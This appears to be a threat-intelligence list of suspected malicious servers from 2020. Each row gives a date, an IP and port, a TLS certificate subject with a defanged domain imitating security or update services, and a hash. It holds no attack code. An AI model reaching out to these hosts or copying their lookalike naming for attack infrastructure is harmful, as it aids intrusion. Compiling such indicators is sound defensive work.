1/30/20	149.248.5.240:80	CN=sophosdefence[.]com	e9b4b649c97cdd895d6a0c56015f2e68
1/30/20	149.28.246.25:80	CN=lsasswininfo[.]com	f9af8b7ddd4875224c7ce8aae8c1b9dd
1/30/20	144.202.12.197:443	CN=windefenceinfo[.]com	c6c63024b18f0c5828bd38d285e6aa58
1/30/20	149.28.246.25:443	CN=lsasswininfo[.]com	f9af8b7ddd4875224c7ce8aae8c1b9dd
1/30/20	45.77.119.212:443	CN=taskshedulewin[.]com	e1dc7cecd3cb225b131bdb71df4b3079
1/30/20	45.77.119.212:80	CN=taskshedulewin[.]com	e1dc7cecd3cb225b131bdb71df4b3079
1/30/20	149.28.122.130:443	CN=renovatesystem[.]com	734c26d93201cf0c918135915fdf96af
1/30/20	45.32.170.9:80	CN=livecheckpointsrs[.]com	1de9e9aa8363751c8a71c43255557a97
1/30/20	149.248.58.11:80	CN=updatewinlsass[.]com	8c581979bd11138ffa3a25b895b97cc0
1/30/20	149.28.122.130:80	CN=renovatesystem[.]com	734c26d93201cf0c918135915fdf96af
1/30/20	207.148.8.61:80	CN=ciscocheckapi[.]com	97ca76ee9f02cfda2e8e9729f69bc208
1/31/20	81.17.25.210:443	CN=update-wind[.]com	877bf6c685b68e6ddf23a4db3789fcaa
1/31/20	31.7.59.141:80	CN=updatewinsoftr[.]com	07f9f766163c344b0522e4e917035fe1
2/2/20	155.138.214.247:80	CN=cleardefencewin[.]com	61df4864dc2970de6dcee65827cc9a54
2/2/20	155.138.214.247:443	CN=cleardefencewin[.]com	61df4864dc2970de6dcee65827cc9a54
2/2/20	45.76.231.195:443	CN=checkwinupdate[.]com	d8e5dddeec1a9b366759c7ef624d3b8c
2/2/20	45.76.231.195:80	CN=checkwinupdate[.]com	d8e5dddeec1a9b366759c7ef624d3b8c
2/3/20	46.19.142.154:443	CN=havesetup[.]net	cd354c309f3229aff59751e329d8243a
2/3/20	95.179.219.169:80	CN=jomamba[.]best	80b7001e5a6e4bd6ec79515769b91c8b
2/3/20	140.82.60.155:80	CN=updatemanagir[.]us	ec16be328c09473d5e5c07310583d85a
2/3/20	209.222.108.106:80	CN=timesshifts[.]com	2bb464585f42180bddccb50c4a4208a5
2/3/20	66.42.118.123:443	CN=conhostservice[.]com	6c21d3c5f6e8601e92ae167a7cff721c
2/4/20	80.240.18.106:443	CN=microsoftupdateswin[.]com	27cae092ad6fca89cd1b05ef1bb73e62
2/4/20	95.179.215.228:443	CN=iexploreservice[.]com	26010bebe046b3a33bacd805c2617610
2/12/20	155.138.216.133:443	CN=defenswin[.]com	e5005ae0771fcc165772a154b7937e89
2/12/20	45.32.130.5:443	CN=avrenew[.]com	f32ee1bb35102e5d98af81946726ec1b
2/14/20	45.76.167.35:443	CN=freeallsafe[.]com	85f743a071a1d0b74d8e8322fecf832b
2/14/20	45.63.95.187:443	CN=easytus[.]com	17de38c58e04242ee56a9f3a94e6fd53
2/17/20	45.77.89.31:443	CN=besttus[.]com	2bda8217bdb05642c995401af3b5c1f3
2/17/20	95.179.147.215:443	CN=windefens[.]com	57725c8db6b98a3361e0d905a697f9f8
2/17/20	155.138.216.133:443	CN=defenswin[.]com	c07774a256fc19036f5c8c60ba418cbf
2/17/20	104.238.190.126:443	CN=aaatus[.]com	4039af00ce7a5287a3e564918edb77cf
2/17/20	144.202.83.4:443	CN=greattus[.]com	7f0fa9a608090634b42f5f17b8cecff0
2/17/20	104.156.245.0:443	CN=comssite[.]com	f5bb98fafe428be6a8765e98683ab115
2/17/20	45.32.30.162:443	CN=bigtus[.]com	698fc23ae111381183d0b92fe343b28b
2/17/20	108.61.242.184:443	CN=livetus[.]com	8bedba70f882c45f968c2d99b00a708a
2/17/20	207.148.15.31:443	CN=findtus[.]com	15f07ca2f533f0954bbbc8d4c64f3262
2/17/20	149.28.15.247:443	CN=firsttus[.]com	88e8551f4364fc647dbf00796536a4c7
2/21/20	155.138.136.182:443	CN=worldtus[.]com	b31f38b2ccbbebf4018fe5665173a409
2/25/20	45.77.58.172:443	CN=freeoldsafe[.]com	a46e77b92e1cdfec82239ff54f2c1115
2/25/20	45.77.58.172:443	CN=freeoldsafe[.]com	a46e77b92e1cdfec82239ff54f2c1115
2/26/20	108.61.72.29:443	CN=myserviceconnect[.]net	9f551008f6dcaf8e6fe363caa11a1aed
2/27/20	216.155.157.249:443	CN=myserviceupdater[.]com	4c6a2c06f1e1d15d6be8c81172d1c50c
2/28/20	45.77.98.157:443	CN=topservicesbooster[.]com	ba4b34962390893852e5cc7fa7c75ba2
2/28/20	104.156.250.132:443	CN=myservicebooster[.]com	89be5670d19608b2c8e261f6301620e1
2/28/20	149.28.50.31:443	CN=topsecurityservice[.]net	77e2878842ab26beaa3ff24a5b64f09b
2/28/20	149.28.55.197:443	CN=myyserviceupdater[.]com	0dd8fde668ff8a301390eef1ad2f9b83
2/28/20	207.246.67.70:443	CN=servicesecurity[.]org	c88098f9a92d7256425f782440971497
2/28/20	63.209.33.131:443	CN=serviceupdates[.]net	16e86a9be2bdf0ddc896bc48fcdbb632
2/29/20	45.77.206.105:443	CN=myservicebooster[.]net	6e09bb541b29be7b89427f9227c30a32
2/29/20	140.82.5.67:443	CN=servicesbooster[.]org	42d2d09d08f60782dc4cded98d7984ed
2/29/20	108.61.209.123:443	CN=brainschampions[.]com	241ab042cdcb29df0a5c4f853f23dd31
2/29/20	104.156.227.250:443	CN=servicesbooster[.]com	f45f9296ff2a6489a4f39cd79c7f5169
2/29/20	140.82.10.222:443	CN=topservicesecurity[.]net	b9375e7df4ee0f83d7abb179039dc2c5
2/29/20	149.28.35.35:443	CN=topservicesecurity[.]org	82bd8a2b743c7cc3f3820e386368951d
2/29/20	207.148.21.17:443	CN=topserviceupdater[.]com	ece184f8a1309b781f912d4f4d65738e
2/29/20	45.77.153.72:443	CN=topservicesupdate[.]com	8330c3fa8ca31a76dc8d7818fd378794
3/1/20	140.82.10.222:80	CN=topservicesecurity[.]net	b9375e7df4ee0f83d7abb179039dc2c5
3/1/20	207.148.21.17:80	CN=topserviceupdater[.]com	ece184f8a1309b781f912d4f4d65738e
3/1/20	108.61.90.90:443	CN=topservicesecurity[.]com	696aeb86d085e4f6032e0a01c496d26c
3/1/20	45.32.130.5:80	CN=avrenew[.]com	f32ee1bb35102e5d98af81946726ec1b
3/2/20	217.69.15.175:443	CN=serviceshelpers[.]com	9a437489c9b2c19c304d980c17d2e0e9
3/2/20	155.138.135.182:443	CN=topservicesupdates[.]com	b9deff0804244b52b14576eac260fd9f
3/2/20	95.179.210.8:80	CN=serviceuphelper[.]com	bb65efcead5b979baee5a25756e005d8
3/2/20	45.76.45.162:443	CN=boostsecuritys[.]com	7d316c63bdc4e981344e84a017ae0212
3/4/20	108.61.176.237:443	CN=yoursuperservice[.]com	7424aaede2f35259cf040f3e70d707be
3/4/20	207.246.67.70:443	CN=servicesecurity[.]org	d66cb5528d2610b39bc3cecc20198970
3/6/20	188.166.52.176:443	CN=top-servicebooster[.]com	f882c11b294a94494f75ded47f6f0ca0
3/7/20	149.248.56.113:443	CN=topservicehelper[.]com	2a29e359126ec5b746b1cc52354b4adf
3/8/20	199.247.13.144:443	CN=hakunamatatata[.]com	e2cd3c7e2900e2764da64a719096c0cb
3/8/20	95.179.210.8:443	CN=serviceuphelper[.]com	bb65efcead5b979baee5a25756e005d8
3/8/20	207.246.67.70:443	CN=servicesecurity[.]org	d89f6bdc59ed5a1ab3c1ecb53c6e571c
3/9/20	194.26.29.230:443	CN=secondserviceupdater[.]com	c30a4809c9a77cfc09314a63f7055bf7
3/9/20	194.26.29.229:443	CN=firstserviceupdater[.]com	bc86a3087f238014b6c3a09c2dc3df42
3/9/20	194.26.29.232:443	CN=fourthserviceupdater[.]com	3dc6d12c56cc79b0e3e8cd7b8a9c320b
3/9/20	194.26.29.234:443	CN=sixthserviceupdater[.]com	951e29ee8152c1e7f63e8ccb6b7031c1
3/9/20	194.26.29.235:443	CN=seventhserviceupdater[.]com	abe1ce0f83459a7fe9c72839fc46330b
3/9/20	194.26.29.236:443	CN=eighthserviceupdater[.]com	c7a539cffdd230a4ac9a4754c2c68f12
3/9/20	194.26.29.237:443	CN=ninethserviceupdater[.]com	1d1f7bf2c0eec7a3a0221fd473ddbafc
3/9/20	194.26.29.225:443	CN=seventeenthservicehelper[.]com	6b1e0621f4d891b8575a229384d0732d
3/9/20	194.26.29.227:443	CN=nineteenthservicehelper[.]com	38756ffb8f2962f6071e770637a2d962
3/9/20	194.26.29.242:443	CN=thirdservicehelper[.]com	3b911032d08ff4cb156c064bc272d935
3/9/20	194.26.29.244:443	CN=tenthservicehelper[.]com	a2d9b382fe32b0139197258e3e2925c4
3/9/20	194.26.29.226:443	CN=eighteenthservicehelper[.]com	4acbca8efccafd92da9006d0cc91b264
3/9/20	194.26.29.243:443	CN=ninthservicehelper[.]com	0760ab4a6ed9a124aabb8c377beead54
3/9/20	194.26.29.201:443	CN=secondservicehelper[.]com	d8a8d0ad9226e3c968c58b5d2324d899
3/9/20	194.26.29.202:443	CN=thirdservicehelper[.]com	0d3b79158ceee5b6ce859bb3fc501b02
3/9/20	194.26.29.220:443	CN=fourservicehelper[.]com	831e0445ea580091275b7020f2153b08
3/11/20	207.246.67.70:80	CN=servicesecurity[.]org	d89f6bdc59ed5a1ab3c1ecb53c6e571c
3/13/20	165.227.196.0:443	CN=twentiethservicehelper[.]com	977b4abc6307a9b3732229d4d8e2c277
3/14/20	45.141.86.91:443	CN=thirdservice-developer[.]com	edc2680e3797e11e93573e523bae7265
3/14/20	194.26.29.219:443	CN=firstservisehelper[.]com	6b444a2cd3e12d4c3feadec43a30c4d6
3/14/20	45.141.86.93:443	CN=fifthservice-developer[.]com	60e7500c809f12fe6be5681bd41a0eda
3/15/20	45.141.86.90:443	CN=secondservice-developer[.]com	de9460bd6b1badb7d8314a381d143906
3/15/20	45.141.86.84:443	CN=firstservice-developer[.]com	6385acd425e68e1d3fce3803f8ae06be
3/17/20	45.141.86.96:443	CN=eithtservice-developer[.]com	e1d1fb4a6f09fb54e09fb27167028303
3/17/20	45.141.86.92:443	CN=fourthservice-developer[.]com	5b5375bf30aedfa3a44d758fe42fccba
3/18/20	45.141.86.94:443	CN=sixthservice-developer[.]com	4d42bea1bfc7f1499e469e85cf75912c
3/18/20	108.61.209.121:443	CN=service-booster[.]com	692ed54fb1fb189c36d2f1674db47e45
3/18/20	134.122.116.114:443	CN=service-helpes[.]com	ad0914f72f1716d810e7bd8a67c12a71
3/18/20	209.97.130.197:443	CN=helpforyourservice[.]com	00fe3cc532f876c7505ddbf5625de404
3/18/20	192.241.143.121:443	CN=serviceshelps[.]com	e50998208071b4e5a70110b141542747
3/18/20	45.141.86.95:443	CN=seventhservice-developer[.]com	413ca4fa49c3eb6eef0a6cbc8cac2a71
3/18/20	198.211.116.199:443	CN=actionshunter[.]com	8e5bedbe832d374b565857cce294f061
3/18/20	45.141.86.155:443	CN=sexyservicee[.]com	cca37e58b23de9a1db9c3863fe2cd57c
3/19/20	194.26.29.239:443	CN=eleventhserviceupdater[.]com	7e0fcb78055f0eb12bc8417a6933068d
3/19/20	45.141.86.206:443	CN=servicedhunter[.]com	fdefb427dcf3f0257ddc53409ff71d22
3/19/20	45.141.86.92:443	CN=service-updateer[.]com	51ba9c03eac37751fe06b7539964e3de
3/19/20	134.122.116.59:443	CN=servicedbooster[.]com	db7797a20a5a491fb7ad0d4c84acd7e8
3/19/20	134.122.118.46:443	CN=servicedpower[.]com	7b57879bded28d0447eea28bacc79fb5
3/19/20	134.122.124.26:443	CN=serviceboostnumberone[.]com	880982d4781a1917649ce0bb6b0d9522
3/20/20	45.141.86.97:443	CN=ninethservice-developer[.]com	e4a720edfcc7467741c582cb039f20e0
3/20/20	178.62.247.205:443	CN=top-serviceupdater[.]com	a45522bd0a26e07ed18787c739179ccb
3/20/20	159.203.36.61:443	CN=yourserviceupdater[.]com	7b422c90dc85ce261c0a69ba70d8f6b5
3/20/20	134.122.20.117:443	CN=fifthserviceupdater[.]com	99aa16d7fc34cdcc7dfceab46e990f44
3/23/20	165.22.125.178:443	CN=servicemonsterr[.]com	82abfd5b55e14441997d47aee4201f6d
3/24/20	69.55.60.140:443	CN=boostyourservice[.]com	7f3787bf42f11da321461e6db7f295d1
3/24/20	45.141.86.98:443	CN=tenthservice-developer[.]com	eef29bcbcba1ce089a50aefbbb909203
3/26/20	178.79.132.82:443	CN=developmasters[.]com	5cf480eba910a625e5e52e879ac5aecb
3/26/20	194.26.29.247:443	CN=thirteenthservicehelper[.]com	2486df3869c16c0d9c23a83cd61620c2
5/4/20	159.65.216.127:443	CN=info-develop[.]com	5f7a5fb72c6689934cc5d9c9a681506b
9/22/20	69.61.38.155:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=gtrsqer[.]com	d37ba4a4b1885e96ff54d1f139bf3f47
9/22/20	96.9.225.144:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=hakunaman[.]com	4408ba9d63917446b31a0330c613843d
9/22/20	96.9.209.216:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=caonimas[.]com	d921dd1ba03aaf37d5011020577e8147
9/22/20	107.173.58.176:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=chalengges[.]com	dfeb6959b62aff0b93ca20fd40ef01a8
9/22/20	96.9.225.143:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=reginds[.]com	05c03b62dea6ec06006e57fd0a6ba22e
9/22/20	69.61.38.156:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=errvghu[.]com	c14a892f8203a04c7e3298edfc59363a
9/22/20	45.34.6.229:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=harddagger[.]com	7ed16732ec21fb3ec16dbb8df0aa2250
9/22/20	45.34.6.226:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=getinformationss[.]com	1788068aff203fa9c51d85bf32048b9c
9/22/20	45.34.6.225:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=gameleaderr[.]com	0fff2f721ad23648175d081672e77df4
9/22/20	107.173.58.185:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=razorses[.]com	b960355ba112136f93798bf85e6392bf
9/22/20	107.173.58.183:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=nomadfunclub[.]com	a3d4e6d1f361d9c335effdbd33d12e79
9/22/20	107.173.58.175:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=bouths[.]com	e13fbdff954f652f14faf11b735c0ef8
9/22/20	185.184.223.194:443	C=US,ST=CA,L=Texas,O=lol,OU=,CN=regbed[.]com	67310b30bada4f77f8f336438890d8f2
9/22/20	109.70.236.134:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=vnuret[.]com	ae74cbb9838688363b7928b06963c40a
9/23/20	64.44.131.103:443	C=US,ST=TX,L=Texas,O=serviceswork,OU=,CN=serviceswork[.]net	af518cc031807f43d646dc508685bcd3
9/23/20	69.61.38.157:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=moonshardd[.]com	c8fd81d6d3c8cbb8256c470a613a7c7b
9/23/20	193.142.58.129:443	C=US,ST=TX,L=Texas,O=zapored,OU=,CN=zapored[.]com	5a22c3c8a0ed6482cad0e2b867c4c10c
9/23/20	45.34.6.223:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=hurrypotter[.]com	bf598ba46f47919c264514f10ce80e34
9/23/20	107.173.58.179:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=biliyilish[.]com	1c8243e2787421373efcf98fc0975031
9/23/20	45.34.6.222:443	C=US,ST=TX,L=Texas,O=dagger,OU=,CN=daggerclip[.]com	576d65a68900b270155c2015ac4788bb
9/23/20	107.173.58.180:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=blackhoall[.]com	69643e9b1528efc6ec9037b60498b94c
9/23/20	107.173.58.182:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=checkhunterr[.]com	ca9b7e2fcfd35f19917184ad2f5e1ad3
9/23/20	45.34.6.221:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=check4list[.]com	e5e0f017b00af6f020a28b101a136bad
9/24/20	213.252.244.62:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=ayiyas[.]com	8367a1407ae999644f25f665320a3899
9/24/20	185.25.50.167:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=chainnss[.]com	34a78f1233e53010d29f2a4fa944c877
9/30/20	88.119.171.75:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=martahzz[.]com	eaebbe5a3e3ea1d5992a4dfd4af7a749
10/1/20	88.119.171.74:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=jonsonsbabyy[.]com	adc8cd1285b7ae62045479ed39aa37f5
10/1/20	88.119.171.55:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=tiancaii[.]com	bfe1fd16cd4169076f3fbaab5afcbe12
10/1/20	88.119.171.67:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=cantliee[.]com	c8a623eb355d172fc3e083763934a7f7
10/1/20	88.119.171.76:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=realgamess[.]com	0ac5659596008e64d4d0d90dfb6abe7c
10/1/20	88.119.171.68:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=maybebaybe[.]com	48003b6b638dc7e79e75a581c58f2d77
10/1/20	88.119.171.69:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=saynoforbubble[.]com	5c75a6bbb7454a04b9ea26aa80dfbcba
10/1/20	88.119.171.73:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=chekingking[.]com	e391c997b757424d8b2399cba4733a60
10/1/20	88.119.171.77:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=wondergodst[.]com	035697cac0ee92bb4d743470206bfe9a
10/1/20	88.119.171.78:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=zetrexx[.]com	fc133bed713608f78f9f112ed7498f32
10/1/20	213.252.244.38:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=mountasd[.]com	8ead6021e2a5b9191577c115d4e68911
10/1/20	107.173.58.184:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=pudgeee[.]com	1c9949d20441df2df09d13778b751b65
10/1/20	88.119.174.109:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=loockfinderrs[.]com	c0ddfc954aa007885b467f8c4f70ad75
10/1/20	88.119.174.110:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=puckhunterrr[.]com	ee63098506cb82fc71a4e85043d4763f
10/1/20	88.119.174.114:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=voiddas[.]com	422b020be24b346da826172e4a2cf1c1
10/1/20	88.119.174.116:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=sibalsakie[.]com	8d8f046e963bcd008fe4bbed01bed4c8
10/1/20	88.119.174.117:443	C=US,ST=TX,L=TExas,O=lol,OU=,CN=rapirasa[.]com	c381fb63e9cb6b0fc59dfaf6e8c40af3
10/1/20	88.119.174.118:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=raidbossa[.]com	add6b742d0f992d56bede79888eef413
10/1/20	88.119.174.119:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=lindasak[.]com	9bbd073033e34bfd80f658f0264f6fae
10/1/20	88.119.174.121:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=bithunterr[.]com	9afef617897e7089f59c19096b8436c8
10/1/20	88.119.174.120:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=giveasees[.]com	3f366e5f804515ff982c151a84f6a562
10/1/20	88.119.174.107:443	C=US,ST=TX,L=Texas,O=office,OU=,CN=shabihere[.]com	c2f99054e0b42363be915237cb4c950b
10/1/20	88.119.174.125:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=tarhungangster[.]com	4ac8ac12f1763277e35da08d8b9ea394
10/1/20	88.119.174.126:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=imagodd[.]com	7080547306dceb90d809cb9866ed033c
10/1/20	88.119.174.127:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=raaidboss[.]com	03037dff61500d52a37efd4b4f520518
10/1/20	88.119.174.128:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=sunofgodd[.]com	959bed7a2662d7274b303f3b120fddea
10/1/20	213.252.244.126:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=hungrrybaby[.]com	1d28556cc80df9627c20316358b625d6
10/1/20	213.252.244.170:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=loxliver[.]com	85e65803443046f921b9a0a9b8cc277c
10/1/20	213.252.246.154:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicegungster[.]com	9df6ba82461aa0594ead03993c0e4c42
10/5/20	5.2.64.113:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=qascker[.]com	18aadee1b82482c3cd5ebe32f3628f3f
10/7/20	5.2.79.122:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=cheapshhot[.]com	94bc44bd438d2e290516d111782badde
10/7/20	88.119.171.94:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=havemosts[.]com	f0ede92cb0899a9810a67d716cdbebe2
10/7/20	5.2.64.133:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=mixunderax[.]com	e0f9efedd11d22a5a08ffb9c4c2cbb5a
10/7/20	5.2.64.135:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=bugsbunnyy[.]com	4aa2acabeb3ff38e39ed1d840124f108
10/7/20	5.2.72.202:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=sweetmonsterr[.]com	c04034b78012cca7dcc4a0fb5d7bb551
10/7/20	88.119.175.153:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=zhameharden[.]com	2670bf08c43d995c74b4b83383af6a69
10/7/20	213.252.245.71:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=serviceboosterr[.]com	127cc347b711610c3bcee434eb8bf822
10/7/20	213.252.246.144:443	C=US,ST=TX,L=Texas,O=US,OU=,CN=servicewikii[.]com	b3e7ab478ffb0213017d57a88e7b2e3b
10/7/20	5.2.64.149:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=sobcase[.]com	188f603570e7fa81b92906af7af177dc
10/7/20	5.2.64.144:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=unlockwsa[.]com	22d7f35e624b7bcee7bb78ee85a7945c
10/7/20	88.119.174.139:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=serviceupdatter[.]com	12c6e173fa3cc11cc6b09b01c5f71b0c
10/7/20	88.119.174.133:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-boosterr[.]com	28435684c76eb5f1c4b48b6bbc4b22af
10/7/20	88.119.175.214:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=dotmaingame[.]com	9c2d64cf4e8e58ef86d16e9f77873327
10/7/20	5.2.72.200:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=wodemayaa[.]com	f6f484baf1331abf55d06720de827190
10/7/20	5.2.79.10:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=hybriqdjs[.]com	d8eacda158594331aec3ad5e42656e35
10/7/20	5.2.79.12:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=gunsdrag[.]com	29032dd12ea17fc37ffff1ee94cc5ba8
10/7/20	5.2.79.121:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=gungameon[.]com	eaf32b1c2e31e4e7b6d5c3e6ed6bff3d
10/7/20	5.2.64.174:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=quwasd[.]com	442680006c191692fcc3df64ec60d8fa
10/7/20	5.2.64.172:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=remotessa[.]com	0593cbf6b3a3736a17cd64170e02a78d
10/7/20	5.2.64.167:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=secondlivve[.]com	38df81824bd8cded4a8fa7ad9e4d1f67
10/7/20	5.2.64.182:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=luckyhunterrs[.]com	99dbe71ca7b9d4a1d9f722c733b3f405
10/7/20	88.119.171.97:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicesupdater[.]com	7d7199ffa40c50b6e5b025b8cb2661b2
10/7/20	88.119.171.96:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicemount[.]com	f433d25a0dad0def0510cd9f95886fdb
10/7/20	96.9.209.217:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=fastbloodhunter[.]com	e84c7aa593233250efac903c19f3f589
10/7/20	69.61.38.132:443	C=US,ST=CA,L=Mountainvew,O=Office,OU=,CN=kungfupandasa[.]com	e6e80f6eb5cbfc73cde40819007dcc53
10/13/20	45.147.230.131:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=bakcup-monster[.]com	4fdeab3dad077589d52684d35a9ea4ab
10/13/20	45.147.229.92:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=bakcup-checker[.]com	b70cdb49b26e6e9ba7d0c42d5f3ed3cb
10/13/20	45.147.229.68:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup-simple[.]com	57024c1fe5c4acaf30434ba1f58f9144
10/13/20	45.147.229.52:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup-leader[.]com	ec5496048f1962494d239d377e53db0c
10/13/20	45.147.229.44:443	C=US,ST=TX,L=Texsa,O=lol,OU=,CN=backup-helper[.]com	938593ac1c8bdb2c5256540d7c8476c8
10/14/20	45.147.230.87:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=nasmastrservice[.]com	cced46e0a9b6c382a97607beb95f68ab
10/14/20	45.147.230.159:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-leader[.]com	e912980fc8e9ec1e570e209ebb163f65
10/14/20	45.147.230.141:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-checker[.]com	39d7160ce331a157d3ecb2a9f8a66f12
10/14/20	45.147.230.140:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-simple-helper[.]com	d9ca73fe10d52eef6952325d102f0138
10/14/20	45.147.230.133:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-leader[.]com	920d04330a165882c8076c07b00e1d93
10/14/20	45.147.230.132:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=boost-servicess[.]com	771463611a43ee35a0ce0631ef244dee
10/14/20	45.147.229.180:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=elephantdrrive[.]com	1e4a794da7d3c6d0677f7169fbe3b526
10/14/20	45.147.230.159:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-leader[.]com	9c7fe10135f6ad96ded28fac51b79dfd
10/15/20	45.147.230.132:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=boost-servicess[.]com	a78c0e2920e421667ae734d923dd5ca6
10/15/20	45.138.172.95:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-hellper[.]com	a0b2378ceae498f46401aadeb278fb31
10/16/20	108.62.12.119:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=top-backuphelper[.]com	e95bb7804e3add830496bd36664ed339
10/16/20	108.62.12.105:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=best-nas[.]com	8d5dc95b3bd4d16a3434b991a09bf77e
10/16/20	108.62.12.114:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=top-backupservice[.]com	d5de2f5d2ca29da1724735cdb8fbc63f
10/16/20	108.62.12.116:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=bestservicehelper[.]com	9c7396ecd107ee8f8bf5521afabb0084
10/16/20	45.147.230.141:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-checker[.]com	1134a6f276f4297a083fc2a605e24f70
10/16/20	45.147.230.140:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-simple-helper[.]com	2150045f476508f89d9a322561b28ff9
10/16/20	45.147.230.133:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=nas-leader[.]com	f4ddc4562e5001ac8fdf0b7de079b344
10/19/20	74.118.138.137:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=top3-services[.]com	75fb6789ec03961c869b52336fa4e085
10/19/20	74.118.138.115:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=simple-backupbooster[.]com	9f5e845091015b533b59fe5e8536a435
10/19/20	108.177.235.53:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=best-backup[.]com	4b78eaa4f2748df27ebf6655ea8a7fe9
10/19/20	74.118.138.138:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=topbackup-helper[.]com	bcccda483753c82e62482c55bc743c16
10/21/20	45.153.241.1:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup1helper[.]com	672c66dd4bb62047bb836bd89d2e1a65
10/21/20	45.153.240.240:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=checktodrivers[.]com	6825409698a326cc319ca40cd85a602e
10/21/20	45.153.240.194:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver1master[.]com	7f9be0302da88e0d322e5701d52d4128
10/21/20	45.153.240.138:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=boost-yourservice[.]com	2c6a0856d1a75b303337ac0807429e88
10/21/20	45.153.240.136:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup1master[.]com	6559dbf8c47383b7b493500d7ed76f6a
10/23/20	45.153.240.157:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver1updater[.]com	7bd044e0a6689ef29ce23e3ccb0736a3
